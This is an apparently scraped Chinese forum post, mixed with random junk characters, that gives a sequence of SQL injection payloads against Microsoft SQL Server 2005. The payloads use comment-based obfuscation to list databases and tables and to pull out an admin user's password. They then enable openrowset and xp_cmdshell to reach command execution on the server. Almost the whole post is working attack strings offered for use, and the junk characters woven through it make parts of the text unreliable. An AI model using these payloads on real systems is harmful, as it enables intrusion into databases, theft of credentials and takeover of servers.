+ \ d3 u- Z' l* s, I" k( B1 `% ?
' n) I( j- ^6 ?& k
8 @% ?; \& D2 X! _- _6 e[Copy to clipboard]CODE:$ n k3 J2 k1 a8 |' x& V
/**/and/**/(select/**/top/**/1/**/isnull(cast([name]/**/as/**/nvarchar(500)),char(32))%2bchar(124)/**/from/**/[master].[dbo].[sysdatabases]/**/where/**/dbid/**/in/**/(select/**/top/**/1/**/dbid/**/from/**/[master].[dbo].[sysdatabases]/**/order/**/by/**/dbid/**/desc))%3d0--4 M6 _. [1 D0 w) R
8 S# A. ^# c- v+ r爆表语句,somedb部份是所要列的数据库,红色数字1累加$ d _% f" G; M. F
" v4 F! m4 F5 ^5 z1 R4 a f1 V) h% Y' J: R; V: o2 W' L
[Copy to clipboard]CODE:
+ W2 ] m' F* {$ q" J: P& d) \/**/and/**/(select/**/top/**/1/**/cast(name/**/as/**/varchar(200))/**/from/**/(select/**/top/**/1/**/name/**/from/**/somedb.sys.all_objects/**/where/**/type%3dchar(85)/**/order/**/by/**/name)/**/t/**/order/**/by/**/name/**/desc)%3d0--3 o! l. K+ D; C# R
r% F; x( f( R( A爆字段语句,爆表admin里user='icerover'的密码段
S% G' i* k4 L L4 n7 M5 Y1 y* a9 N
5 a5 ?, W4 k1 t3 s1 G# @8 v) @: i, g- Z; S* G& i& X3 u8 W( R8 ?
[Copy to clipboard]CODE:" ?6 P0 p0 g0 N7 q/ ]1 ^8 s
**/And/**/(Select/**/Top/**/1/**/isNull(cast([password]/**/as/**/varchar(2000)),char(32))%2bchar(124)/**/From/**/(Select/**/Top/**/1/**/[password]/**/From/**/[somedb]..[admin]/**/Where/**/user='icerover'/**/Order/**/by/**/[password])/**/T/**/Order/**/by/**/[password]Desc)%3d0--
1 i% t! A$ q9 ~. e
: q s/ N6 q8 O& X( ?& L: gmssql2005默认没有开xp_cmdshell的,openrowset也不能用
8 h! ]; G# t2 H: ]5 x如果是sa权限,可以这样来开启
4 H E- {+ h1 Y开启openrowset
& J) A1 z8 `6 N4 b- E3 U2 n& l! m. v2 y2 ^
8 E5 r- X& R3 _" _2 l[Copy to clipboard]CODE:
$ t! [- H/ Z. n7 L/**/sp_configure/**/'show/**/advanced/**/options',/**/1;RECONFIGURE;--: g% [* a3 t! {9 g/ `' Z
/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',/**/1;RECONFIGURE;--9 |7 t+ V3 c9 Z
! K. }4 d/ P( a( t7 D8 A' S: V
开启xp_cmdshell
8 ~& F/ A7 M+ I' k% U7 s: J" @4 l8 Z! ~9 F3 ^: `: v3 N! L/ A' o
% o7 _4 r) w. H7 p5 w! r* B
[Copy to clipboard]CODE:, D6 H+ J5 E, _) J
EXEC/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',1;RECONFIGURE;--3 }5 }5 c' \$ P% o5 o
EXEC/**/sp_configure/**/'show/**/advanced/**/options',1;RECONFIGURE;EXEC/**/sp_configure/**/'xp_cmdshell',1;RECONFIGURE;--1 n; k S1 y; Y
/ D* t0 m w- U/ k" b6 G
ok,over~~晚安
W D9 O5 Z5 `1 f2 t |